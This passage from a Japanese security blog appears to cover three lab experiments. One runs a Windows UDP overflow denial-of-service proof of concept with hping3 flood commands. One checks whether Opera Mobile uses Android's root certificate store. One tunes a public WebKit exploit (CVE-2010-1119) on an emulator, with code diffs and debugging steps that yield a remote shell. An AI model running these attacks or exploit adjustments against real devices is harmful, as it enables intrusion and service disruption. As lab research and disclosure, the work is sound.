./winnuke2011 192.168.0.102 80

実証手順

実証コードを使って、「実証コードを実行し続けるだけの実証」(実証1)と「脆弱性が再現すると思われる状況を意図的に作る実証」(実証2)の 2 通りを実施しました。
最初は実証1だけ実施していましたが、「netstat -s -p udp」により Victim が受信したクローズポート宛の UDP パケット数を観測できそうだった*2ので、実証2も試してみました。

実証1:実証コードを実行し続ける

まず試しに Attacker で実証コードを実行して、Victim で tshark を使い 1 秒間に受信できた UDP パケット数を確認しました。この確認の結果、1 秒間に受信できた(tshark でパケットキャプチャできた)UDP パケット数は、約 10,000 程度でした。この値を基に、Exploit Shopのブログ記事 の Step1 に該当する INT_MAX(4294967295)に達するまで、単純に計算して、約 5 日間程度かかると概算しました。この概算は、あくまで tshark で取得できたパケット数に基づいているため、参考程度にしかなりませんでしたが。

あとは、実証コードを実行するだけです。2011年11月14日(月) 0時過ぎに実証コードを実行して、2011年11月20日(日) 10時40分頃まで実行し続けました。結果、Victim が DoS 状態となることはありませんでした。約 5 日間と 10 時間、実証コードを実行しても再現に成功しなかったことになります。

実証2:脆弱性が再現すると思われる状況を意図的に作る

この実証では、Exploit Shopのブログ記事の Step1 から Step3 の手順を実行しました。具体的には次の手順を実施します。

  1. netstat -s -p udp」出力結果の「ポートなし」を適宜確認しながら、実証コードで INT_MAX(4294967295) 近くまでパケットを送信する。その値が INT_MAX(4294967295)に近づいたら、実証コードを停止する。
  2. INT_MAX(4294967295)+1 となる残りのパケット数だけ、「hping3」コマンドで UDP パケットを送信する*3
  3. netstat -s -p udp」出力結果の「ポートなし」が 0 に wrap around したことを確認して、「ping」コマンドで ICMP ECHO REQUEST を送信する。

上記手順1 が完了するまで大体 1日と1,2時間程度かかりました。手順3 を実行するときの「netstat -s -p udp」出力結果は、下図の通りです。

上記手順1から手順3までを 2 回実施してみましたが、Victim が DoS 状態となることはなく、そのまま動作していました。Microsoft TechNet Blog の記事によると、この動作もあり得るシナリオになります。この実証手順が正しいか疑問もありますが--;

実証時の Victim の様子

実証コードを実行しているとき、Victim では CPU 使用率が定常的に高くなりました。下図は、実証コード実行中の Victim における「Process Explorer」のスクリーンショットです。きちんと確認していないため断言できませんが、ネットワークインターフェイスのドライバ周りの処理に負荷がかかっているとと理解しています(関連:Wikipedia:デバイスドライバ)。

*1:PacketStorm で公開された実証コードのコメントに書かれています。

*2:Microsoftnetstat の説明には、「netstat -s -p udp」の具体的な説明がありませんでしたが、80/udp にパケットを送信していると、「ポートなし」の値が増加していったので妥当と判断しました。

*3:例えば、859108 パケットだと「hping3 -c 859108 --faster --udp --destport 80 192.168.0.102」。

「Opera Mobile」がAndroidに搭載されているルート証明書一覧(cacerts.bks)を使っているか調べてみる

この日記では、Androidアプリ「Opera Mobile」が Android に搭載されているルート証明書一覧*1である /system/etc/security/cacerts.bks(以降、cacerts.bks)を使っているか調べた結果と確認手順をまとめています。

結論

Opera Mobile」では Android に搭載されている cacerts.bks を使っていないと判断しました。この結果から、cacerts.bks に不正なルート証明書が含まれていても「Opera Mobile」はそのルート証明書を(証明書の検証に)使用しないと言えます。

以下にこの日記を書いた「背景」と結論に至った「確認手順」をまとめています。興味のある方だけどうぞ。

背景

2011年8月、DigiNotar社でサーバ証明書が不正に発行されてしまう事件が発覚しました。この事件の対処として、Windowsや主要なブラウザ(Mozilla Firefox, Opera)が DigiNotar社のルート証明書を「信頼できない証明書」とするアップデートを提供しました(Wikipedia 記事)。
しかし、Android 端末では cacerts.bks に DigiNotar社のルート証明書が登録されている端末があるようです(参考情報を参照)。Android 端末には容易にアップデートを提供できない事情*2があると言われていることから、DigiNotar社のルート証明書を削除する対処が難しいと推測します。
ここで「ブラウザアプリがすべて Android に搭載されているルート証明書一覧を使うのか」という疑問がわきました。Windows で動作するブラウザでも Mozilla FirefoxOpera は(Windows とは別に)独自に管理しているルート証明書一覧を使っています。このことから、「Android アプリ「Opera Mobile」や「Firefox」でも独自に管理しているルート証明書一覧を使っているのではないか?」と考えました。この疑問を解消するために、例として Android アプリ「Opera Mobile」が実際に Android 端末に搭載しているルート証明書一覧を使っているか調べてみました。

確認手順

次の手順で、「Opera Mobile」が cacerts.bks を使っているか調べました。

Androidエミュレータ、アプリのバージョンは次の表の通りです。この手順を実施すると Android 端末の動作に支障が出る可能性があることから、Android 端末ではなく Android エミュレータを使いました。この手順にて https://www.jpcert.or.jp/ にアクセスしていますが、特に意図して選択したわけではありません(思いつきです:))。通常証明書関連の警告が出ずに閲覧できる https サイトならどこでもよいと思っています。

エミュレータAndroidアプリ名 バージョン*3
Androidエミュレータ 2.2
ブラウザ 2.2
Opera Mobile 11.10.1109081720
手順1

まず「ブラウザ」、「Opera Mobile」で https://www.jpcert.or.jp を閲覧します。それぞれのアプリともに証明書に関連する警告が出ずに閲覧できることを確認しました(下図)。

手順2

続いて、Android エミュレータから /system/etc/security/cacerts.bks を削除します。この削除手順については、id:papaking_ken さんのブログ記事 を参考にさせていただきました。お手元の環境で同様の手順を実施する場合、各コマンドにパスが通っていることなど適宜置き換えてください。

(1) 「-partion-size」オプションに 128 を設定して、Android エミュレータを起動する。
$>emulator.exe -avd Android2.2 -partition-size 128

(2) /system 領域の書き込みを許可するため、「adb remount」コマンドを実行する。
$>adb -e remount
remount succeeded

(3) /system/etc/security/cacerts.bks を削除する。
$>adb -e shell
# cd /system/etc/security
cd /system/etc/security
# ls
ls
otacerts.zip
cacerts.bks
# rm cacerts.bks
rm cacerts.bks
# ls
ls
otacerts.zip

(4) /system 領域の YAFFS2 イメージを取得する。
(4)-1. mkfs.yaffs2.arm を Android エミュレータに転送する。
$>adb -e push mkfs.yaffs2.arm /data/local/
105 KB/s (463072 bytes in 4.296s)

(4)-2. mkfs.yaffs2.arm で YAFFS2 イメージを作成する。
$>adb -e shell
# cd /data/local
cd /data/local
# ls
ls
mkfs.yaffs2.arm
tmp
# chmod 755 mkfs.yaffs2.arm
chmod 755 mkfs.yaffs2.arm
# /data/local/mkfs.yaffs2.arm /system /sdcard/system.img
/data/local/mkfs.yaffs2.arm /system /sdcard/system.img
mkfs.yaffs2: Android YAFFS2 Tool,Build by PowerGUI
            at http://www.openhandsetalliance.org.cn
Building...
Build Ok.
# exit
exit

(4)-3. 作成したイメージを PC に転送する。
$>adb -e pull /sdcard/system.img .
63 KB/s (81054336 bytes in 1247.359s)

(5). 「-system」オプションに (4) で作成したイメージを設定して、Android エミュレータを起動する。
$>emulator.exe -avd Android2.2 -system system.img


(5) で起動した Android エミュレータに「adb shell」で接続すると、/system/etc/security/cacerts.bks がないことが確認できます。

$>adb -e shell
# cd /system/etc/security/
cd /system/etc/security/
# ls
ls
otacerts.zip
#
手順3

cacerts.bks を削除した状態で、改めて「ブラウザ」、「Opera Mobile」で https://www.jpcert.or.jp を閲覧します。この結果「ブラウザ」は異常終了してしまうこと、「Opera Mobile」は手順1と同様に閲覧できることを確認しました(下図)。

「ブラウザ」が異常終了したとき、「adb logcat」コマンドでログを確認してみると以下のようなエラーが記録されていました。エラー内容から「ブラウザ」が SSL サーバ証明書を検証するところでエラーが生じていると推測します。手順1 と手順3では cacerts.bks の有無しか違いがないことから、cacerts.bks がないことで SSL サーバ証明書の検証に失敗したと判断できます。

E/AndroidRuntime(  242): FATAL EXCEPTION: http3
E/AndroidRuntime(  242): java.lang.NullPointerException
E/AndroidRuntime(  242):        at android.net.http.CertificateChainValidator.doHandshakeAndValidateServerCertificates(CertificateChainValidator.java:194)
E/AndroidRuntime(  242):        at android.net.http.HttpsConnection.openConnection(HttpsConnection.java:308)
E/AndroidRuntime(  242):        at android.net.http.Connection.openHttpConnection(Connection.java:358)
E/AndroidRuntime(  242):        at android.net.http.Connection.processRequests(Connection.java:219)
E/AndroidRuntime(  242):        at android.net.http.ConnectionThread.run(ConnectionThread.java:113)
W/ActivityManager(   59):   Force finishing activity com.android.browser/.BrowserActivity

一方「Opera Mobile」では手順1, 手順3の結果に違いがありません。cacerts.bks の有無に関わらず結果が変わらないことから、「Opera Mobile」は Android に搭載されているルート証明書一覧(cacerts.bks)を使っていないと判断しました。

*1:http://developer.android.com/ で「cacerts.bks」を検索しても具体的な情報がありませんでした。インターネット上に cacerts.bks がルート証明書一覧であることを示す情報が多いことから、この認識が妥当と考えています。

*2:IPA『スマートフォンへの脅威と対策』に関するレポートを参照してください。

*3:アプリのバージョン情報は、[設定]-[アプリケーション]-[アプリケーションの管理]で確認したバージョンを掲載しています。

Androidエミュレータで脆弱性CVE-2010-1119のExploitコードを実証してみる

2011 年 3 月にExploits Database にて、Android が採用している WebKit脆弱性CVE-2010-1119)の Exploit コードが公開されました。実際に Android エミュレータで、この Exploit コードを実証してみました。この日記では、Exploit コードの実証結果と実証までの経緯をまとめます。
この日記では WebKit脆弱性 CVE-2010-1119 について説明していません。CVE-2010-1119 については、Exploit コードのコメントで記載されている資料「Breaking Arms」で丁寧に解説されていますので、その資料を参照してください。

Exploit コードの実証結果

Androidエミュレータ 2.1-update1 の Androidアプリ「ブラウザ」で、該当 Exploit コードを閲覧したところ、CVE-2010-1119 の Exploit に成功してしました(下図)。Exploit に成功すると、Android エミュレータを動作しているホスト OS の 2222/tcpTCP 通信が確立し、シェル(/system/bin/sh)によるコマンド実行が可能となってしまいます。Exploit コードに成功する確率は、20% 程度でした*1


Exploit を成功させるために、該当 Exploit コードの一部を修正しました。修正箇所を diff コマンドの結果で示します。poc.html.org は Exploits Database で公開されている Exploit コードそのもの、poc.html は僕が修正した Exploit コードです。このように修正した理由については、後述の [再現までの経緯] を参照してください。

# diff poc.html.org poc.html
25c25
< setTimeout(function() { for (var i = 0; i < 70000; i++) {var s = new String(unescape("\u0058\u0058")); };
---
> setTimeout(function() { for (var i = 0; i < 70000; i++) {var s = new String(unescape("\u0078\u0078")); };
28c28
< var scode = unescape("\u0060\u0060");
---
> var scode = unescape("\u0098\u0098");

実証までの経緯

Exploit に成功するまでに、以下 3 つの手順を実施しました。

  1. CVE-2010-1119 の存在を確認する
  2. Androidアプリ「ブラウザ」のリモートデバッグ
  3. Exploitコードの修正
手順1. CVE-2010-1119 の存在を確認する

まず Android エミュレータ 2.1-update1 に搭載されている Android アプリ「ブラウザ」に CVE-2010-1119 が存在することを確認しました。脆弱性の存在有無については、レジスタ r0 に任意の値を設定できるか否かで判断しました。資料「Breaking Arms」のスライド 30 と同様の手順になります。

この確認において、Exploits Database で公開されている Exploit コードの一部を以下のように修正します。修正箇所を実証結果と同様に diff 結果で示します。

# diff poc.html.org poc.html
25c25
< setTimeout(function() { for (var i = 0; i < 70000; i++) {var s = new String(unescape("\u0058\u0058")); };
---
> setTimeout(function() { for (var i = 0; i < 70000; i++) {var s = new String(unescape("\u4141\u4141")); };

「ブラウザ」で修正した Exploit コードを閲覧しました。このとき、Android エミュレータを起動しているホスト OS で、「adb -e logcat」を実行しておき、Android エミュレータのログを確認しました。「ブラウザ」で Exploit コードを閲覧すると、以下のようなログが出力されます。レジスタ r0 が 41414141 となっていることを確認できました。この結果から、「ブラウザ」に CVE-2010-1119 の脆弱性が存在すると判断しました。

$>adb -e logcat
(略)
D/LocationManager(  496): removeUpdates: listener = android.webkit.GeolocationService@44cabae0
D/GpsLocationProvider(   52): stopNavigating
I/DEBUG   (   28): *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** ***
I/DEBUG   (   28): Build fingerprint: 'generic/sdk/generic/:2.1-update1/ECLAIR/35983:eng/test-keys'
I/DEBUG   (   28): pid: 496, tid: 508  >>> com.android.browser <<<
I/DEBUG   (   28): signal 11 (SIGSEGV), fault addr 41414195
I/DEBUG   (   28):  r0 41414141  r1 0071bad8  r2 00000036  r3 54bf432b
I/DEBUG   (   28):  r4 0071bad8  r5 475f9048  r6 46e35640  r7 46ccc3c8
I/DEBUG   (   28):  r8 46cccd88  r9 46bccf1c  10 46bccf04  fp 0033ab78
I/DEBUG   (   28):  ip 00b1a470  sp 46ccc140  lr aa0482ab  pc aa04a57a  cpsr 60000030
I/DEBUG   (   28):          #00  pc 0004a57a  /system/lib/libwebcore.so
I/DEBUG   (   28):          #01  pc 001ae354  /system/lib/libwebcore.so
I/DEBUG   (   28):          #02  pc 0000c0de  /system/lib/libwebcore.so
(略)
手順2. Androidアプリ「ブラウザ」のリモートデバッグ

次に「ブラウザ」が異常終了した際に、Android NDK の gdbserbver と arm-eabi-gdb を使ってリモートデバッグします。
手順1. で修正した Exploit コードを元に戻して、繰り返し「ブラウザ」で Exploit コードを閲覧してみましたが、成功しませんでした。Exploit コードに成功しない原因には、CVE-2010-1119 を悪用する際に参照させる、またはロードするメモリアドレスの指定が間違っていると考えました。下図(1)で指定しているメモリアドレス 0x00580058 に、下図(2)の0x00600060の値が格納されていない場合や、下図*2(2)で指定しているメモリアドレス 0x00600060 に、下図(3) の 0x5005e1a0 とシェルコードが格納されていない場合、Exploit に失敗します。そこで、「ブラウザ」が異常終了したときにリモートデバッグし、ヒープ領域のどの辺りに 0x006000060(下図の(2))や 0x5005e1a0(下図の(3)) が格納されているか確認しました。

まず、リモートデバッグの事前準備を行いました。ホスト OS から以下のコマンドを実行しました。文頭が // の行は、僕のコメントです。

// gdbserver を Android エミュレータの /data に転送する。
$> adb -e push gdbserver /data
// gdbserver のパーミッションを変更する。
$> adb -e shell chmod 755 /data/gdbserver
// Android エミュレータの 8888/tcp をホスト OS の 8888/tcp にマッピングする。
$> adb -e forward tcp:8888 tcp:8888
// Android アプリやライブラリが異常終了したときにデバッグ可能とするパラメータを設定する。
// このパラメータが具体的にどのようなものか、きちんと知りません。参考情報を参照してください。
$> adb -e shell setprop debug.db.uid 32767

続いて、手順1. と同様に「adb -e logcat」を実行したうえで、「ブラウザ」で Exploit コードを閲覧しました。「ブラウザ」が異常終了すると、以下のようなログが出力されます。手順1. では出力されなかった "process 205 crashed. dubuggerd waiting for gdbserver" というログが出力されました。この出力に従い、gdbserver を起動すると、「ブラウザ」をリモートからデバッグできます。

I/DEBUG   (   28): *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** ***
I/DEBUG   (   28): Build fingerprint: 'generic/sdk/generic/:2.1-update1/ECLAIR/35983:eng/test-keys'
I/DEBUG   (   28): pid: 205, tid: 217  >>> com.android.browser <<<
I/DEBUG   (   28): signal 11 (SIGSEGV), fault addr 00000000
I/DEBUG   (   28):  r0 0071f508  r1 0071f508  r2 00000000  r3 f30b0dcf
I/DEBUG   (   28):  r4 0071f508  r5 4784a048  r6 43006000  r7 46d543c8
I/DEBUG   (   28):  r8 46d54d88  r9 42f93f1c  10 42f93f04  fp 0033a410
I/DEBUG   (   28):  ip 00b1ef38  sp 46d54140  lr aa04a581  pc 00000000  cpsr 00000010
I/DEBUG   (   28):          #00  pc 00000000
I/DEBUG   (   28):          #01  pc 0004a57e  /system/lib/libwebcore.so
(略)
I/DEBUG   (   28):     46d5415c  43006000
I/DEBUG   (   28):     46d54160  aa1ae339  /system/lib/libwebcore.so
I/DEBUG   (   28):     46d54164  aa1ae359  /system/lib/libwebcore.so
I/DEBUG   (   28): ********************************************************
I/DEBUG   (   28): * process 205 crashed. debuggerd waiting for gdbserver
I/DEBUG   (   28): *
I/DEBUG   (   28): *     adb shell gdbserver :port --attach 205 &
I/DEBUG   (   28): *
I/DEBUG   (   28): * and press the HOME key.
I/DEBUG   (   28): ********************************************************

「adb -e logcat」を一度終了させ、以下のように gdbserver を起動しました。

$> adb -e shell /data/gdbserver :8888 --attach 205
Attached; pid = 205
Listening on port 8888

最後に、ホスト OS のコマンドプロンプトから「arm-eabi-gdb」を実行し、gdbserver の 8888/tcp に接続しました。接続が完了すると、「ブラウザ」のリモートデバッグが可能となります。リモートデバッグにて、ヒープのメモリダンプを実施して、0x006000060 や 0x5005e1a0 が格納されているアドレスを調べました。文頭が // の行は、僕のコメントです。

$>arm-eabi-gdb.exe
GNU gdb 6.6
Copyright (C) 2006 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "--host=i586-mingw32msvc --target=arm-elf-linux".
(gdb)
// ローカルホストの 8888/tcp に接続する。この 8888/tcp の接続は、Anroid
// エミュレータの 8888/tcp に転送される(先の「adb -e forward」の設定)。
(gdb) target remote localhost:8888
Remote debugging using localhost:8888
0xafe0ca7c in ?? ()
// ヒープのメモリダンプを実施する。ヒープのメモリ空間については、
// Android エミュレータにおける /proc/<ブラウザのPID>/maps の
// [heap] で確認した。 
(gdb) dump memory hoge.dump 0x000a000 0x00b1f000

ヒープのメモリダンプ結果 hoge.dump をバイナリエディタで確認したところ、メモリアドレス 0x00580058(前述の図における(1))付近に 0x00600060 の値が格納されていませんでした。0x00600060 の値は、メモリアドレス 0x00741DD0 付近から 0x0092AC00 付近の範囲にまとめて格納されていました。また、0x5005e1a0 の値(前述の図における(2)でロードしたい値)は、メモリアドレス 0x0092AD10 付近から 0x00B14E80 付近の範囲にまとめて格納されていました*3

手順3. Exploitコードの修正

手順2. のリモートデバッグの結果をふまえて、Exploit コードを修正しました。修正箇所は、Exploit コードの実証結果で書いた通りです。"\u0078\u0078", "\u0098\u0098" を指定した理由は、特にありません。前者はメモリアドレス 0x00741DD0 から 0x0092AC00 の範囲、後者はメモリアドレス 0x0092AD10 から 0x00B14E80 の範囲から適当に決めました。

影響を受ける Android 機器とその対策

Android エミュレータ 2.1-update1 がこの脆弱性の影響を受けることを確認できましたが、同バージョンの Android を搭載したスマートフォンタブレットなどがこの脆弱性の影響を受けるか分かりません。Exploit の成功までは確認できていませんが、Xperia(SO-01B) (この日記執筆時点の最新バージョン)はこの脆弱性の影響を受ける*4と考えます。影響範囲がよく分からないため、今回のように Android に関連する脆弱性の対策については「Android 端末をアップデートする」などが書けないのが実情だと思っています(--;。Android を搭載したスマートフォンなどが着実に普及してきているわけですから、脆弱性対策情報の発信も改善してほしいです。

*1:「ブラウザ」で Exploit コードを 10 回閲覧したら、2 回成功し、残りは異常終了しました。

*2:問題箇所のアセンブリコードについては、「adb -e pull /system/lib/libwebcore.so .」で取得したライブラリを Android NDK に含まれる「arm-eabi-objdump」でディスアセンブリしました。

*3:このメモリアドレスの範囲以外にも、0x00600060 や 0x5005e1a0 が格納されている領域は当然あります。また「ブラウザ」実行ごとに変わる可能性はあります。

*4:レジスタ r1 に任意の値を設定でき、その値をロードするアセンブリコードを確認できたことから判断しています。